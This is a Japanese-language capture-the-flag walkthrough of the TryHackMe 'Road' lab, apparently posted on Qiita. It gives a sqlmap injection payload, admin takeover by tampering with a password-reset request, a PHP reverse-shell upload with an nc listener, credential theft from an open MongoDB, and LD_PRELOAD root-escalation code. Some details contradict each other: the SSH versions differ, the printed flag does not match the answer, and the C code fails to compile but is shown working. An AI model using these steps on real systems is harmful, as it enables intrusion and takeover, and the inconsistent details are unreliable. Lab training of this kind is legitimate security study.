1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Road:Walkthrough

Posted at

概要

TryHackMe「Road」のWalkthroughです。

Task1

Q1.What is the user.txt flag?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sCV -p- 10.201.67.161 -oN nmap_result

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e6:dc:88:69:de:a1:73:8e:84:5b:a1:3e:27:9f:07:24 (RSA)
|   256 6b:ea:18:5d:8d:c7:9e:9a:01:2c:dd:50:c5:f8:c8:05 (ECDSA)
|_  256 ef:06:d7:e4:b1:65:15:6e:94:62:cc:dd:f0:8a:1a:24 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Sky Couriers
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
80 http nginx/1.18.0

ディレクトリスキャンをし、いくつかのディレクトリを発見しました。

$ dirsearch -u http://10.201.67.161/

[08:50:38] 301 -  178B  - /assets  ->  http://10.201.67.161/assets/         
[08:50:38] 403 -  564B  - /assets/
[08:51:15] 301 -  178B  - /phpMyAdmin  ->  http://10.201.67.161/phpMyAdmin/ 
[08:51:16] 403 -  564B  - /phpMyAdmin/                                      
[08:51:17] 200 -   19KB - /phpMyAdmin/index.php                             
[08:51:35] 301 -  178B  - /v2  ->  http://10.201.67.161/v2/                 
[08:51:35] 403 -  564B  - /v2/

TOPページにアクセスします。

image.png

MERCHANT CENTRALボタンを押下すると、/v2/admin/login.htmlに遷移しログインページが表示されました。

image.png

ログイン情報は不明なので、アカウントを新規登録すると、ダッシュボードが表示されました。

image.png

新規登録、ログインフォームがあるので、初めにSQLインジェクションを疑いました。
sqlmapを実行すると、新規登録フォームにSQLインジェクションの脆弱性があると分かりました。
SKYというDB名を得られました。

$ sqlmap -r reg.txt --batch --dbms=mysql --dbs --risk 3

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: User_Email (POST)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: ci_csrf_token=&User_Email=a@a.com'||(SELECT 0x745a5578 WHERE 9383=9383 AND GTID_SUBSET(CONCAT(0x7162707071,(SELECT (ELT(6022=6022,1))),0x7176787071),6022))||'&User_Pass=a&conpass=a&Us_Cont=1234567890&submit=
---

available databases [1]:
[*] SKY

テーブル名やDBデータを取得しようと試みましたが、WAF/IPSがあるようで、ブロックされました。

[CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS

ダッシュボードページに戻ります。
プロフィールページに遷移し、画像をアップロードできると分かりました。
しかし、この機能はadmin@sky.thmのみが利用できるようです。

image.png

管理者のメールアドレスが判明したので、ResetUserページから、admin@sky.thmのパスワードリセットを試みます。

image.png

Burpでリクエストをキャプチャし、usernameパラメータの値をadmin@sky.thmに改ざんします。

image.png

これで管理者のパスワードを任意の値に変更できました。
管理者のダッシュボードにログインします。

image.png

HTMLのコメントアウトから/v2/profileimages/に、プロフィール画像がアップロードされると分かりました。

image.png

ファイルアップロード機能を悪用し、PHPのWebShellをアップロードします。

image.png

/v2/profileimages/php-reverse-shell.phpへアクセスすると、リバーシェルを張れました。

$ rlwrap nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.201.67.161] 45144
Linux sky 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 14:57:57 up  1:25,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

TTYの設定をします。

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

ユーザーフラグを入手できました。

www-data@sky:/home/webdeveloper$ cat user.txt
cat user.txt
63191e4ece37523c9fe6bb62a5e64d45

A.63191e4ece37523c9fe6bb62a5364d45

Q2.What is the root.txt flag?

linpeasを実行し、ローカルで動いているサービスを列挙します。

www-data@sky:/tmp$ ./linpeas.sh

(中略)

╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports                         
══╣ Active Ports (ss)                                                                                                
tcp    LISTEN  0       4096          127.0.0.53%lo:53             0.0.0.0:*                                                                                     
tcp    LISTEN  0       128                 0.0.0.0:22             0.0.0.0:*                                                                                     
tcp    LISTEN  0       70                127.0.0.1:33060          0.0.0.0:*                                                                                     
tcp    LISTEN  0       511               127.0.0.1:9000           0.0.0.0:*      users:(("sed",pid=14456,fd=9),("grep3,fd=9),("python3",pid=1392,fd=9),("sh",pid=1386,fd=9),("sh",pid=1381,fd=9)),pid=139
tcp    LISTEN  0       4096              127.0.0.1:27017          0.0.0.0:*                                                                                     
tcp    LISTEN  0       151               127.0.0.1:3306           0.0.0.0:*                                                                                     
tcp    LISTEN  0       511                 0.0.0.0:80             0.0.0.0:*      users:(("nginx",pid=609,fd=6))                                                 
tcp    LISTEN  0       128                    [::]:22                [::]:*

27017にcurlでアクセスすると、MongoDBサービスが動作していると分かりました。

www-data@sky:/$ curl http://127.0.0.1:27017
curl http://127.0.0.1:27017
It looks like you are trying to access MongoDB over HTTP on the native driver port.

MongoDBに接続します。

www-data@sky:/$ mongo 127.0.0.1:27017
mongo 127.0.0.1:27017
MongoDB shell version v4.4.6
connecting to: mongodb://127.0.0.1:27017/test?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("ca429ad9-f0f6-4379-bc30-3c445d52dca9") }
MongoDB server version: 4.4.6
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
        https://docs.mongodb.com/
Questions? Try the MongoDB Developer Community Forums
        https://community.mongodb.com
---
The server generated these startup warnings when booting: 
        2025-11-02T13:32:27.056+00:00: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem
        2025-11-02T13:32:29.866+00:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted
---
---
        Enable MongoDB's free cloud-based monitoring service, which will then receive and display
        metrics about your deployment (disk utilization, CPU, operation statistics, etc).

        The monitoring data will be available on a MongoDB website with a unique URL accessible to you
        and anyone you share the URL with. MongoDB may use this information to make product
        improvements and to suggest MongoDB products and deployment options to you.

        To enable free monitoring, run the following command: db.enableFreeMonitoring()
        To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
---
>

backupDBのuserコレクションから、Username: webdeveloperPassword: BahamasChapp123!@#という情報を得られました。

> use backup
ususe backup
switched to db backup
> show collections
shshow collections
collection
user
> db.user.find ()
dbdb.user.find ()
{ "_id" : ObjectId("60ae2661203d21857b184a76"), "Month" : "Feb", "Profit" : "25000" }
{ "_id" : ObjectId("60ae2677203d21857b184a77"), "Month" : "March", "Profit" : "5000" }
{ "_id" : ObjectId("60ae2690203d21857b184a78"), "Name" : "webdeveloper", "Pass" : "BahamasChapp123!@#" }
{ "_id" : ObjectId("60ae26bf203d21857b184a79"), "Name" : "Rohit", "EndDate" : "December" }
{ "_id" : ObjectId("60ae26d2203d21857b184a7a"), "Name" : "Rohit", "Salary" : "30000" }

SSHでwebdeveloperへ接続します。

$ ssh webdeveloper@10.201.67.161
webdeveloper@sky:~$

sudo -l/usr/bin/sky_backup_utilityが実行できると分かりました。

webdeveloper@sky:~$ sudo -l
Matching Defaults entries for webdeveloper on sky:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User webdeveloper may run the following commands on sky:
    (ALL : ALL) NOPASSWD: /usr/bin/sky_backup_utility

また、env_keep+=LD_PRELOADという設定が付与されていることが分かります。
この設定の場合、権限昇格の脆弱性があります。

以下のPoCを使用します。

privesc.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>void _init() {
 unsetenv("LD_PRELOAD");
 setgid(0);
 setuid(0);
 system("/bin/bash");
}

セオリー通りに実行すると、root権限を得られました。

webdeveloper@sky:/tmp$ gcc -fPIC -shared -nostartfiles -o privesc.so privesc.c
privesc.c:3:20: warning: extra tokens at end of #include directive
    3 | #include <stdlib.h>void _init() {
      |                    ^~~~
privesc.c:4:11: error: expected declaration specifiers or ‘...’ before string constant
    4 |  unsetenv("LD_PRELOAD");
      |           ^~~~~~~~~~~~
privesc.c:5:9: error: expected declaration specifiers or ‘...’ before numeric constant
    5 |  setgid(0);
      |         ^
privesc.c:6:9: error: expected declaration specifiers or ‘...’ before numeric constant
    6 |  setuid(0);
      |         ^
privesc.c:7:9: error: expected declaration specifiers or ‘...’ before string constant
    7 |  system("/bin/bash");
      |         ^~~~~~~~~~~
privesc.c:8:1: error: expected identifier or ‘(’ before ‘}’ token
    8 | }
      | ^

webdeveloper@sky:/tmp$ sudo LD_PRELOAD=/tmp/privesc.so /usr/bin/sky_backup_utility
root@sky:/tmp# whoami
root

ルートフラグを入手できました。

root@sky:/tmp# cat /root/root.txt 
3a62d897c40a815ecbe267df2f533ac6

A.3a62d897c40a815ecbe267df2f533ac6

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?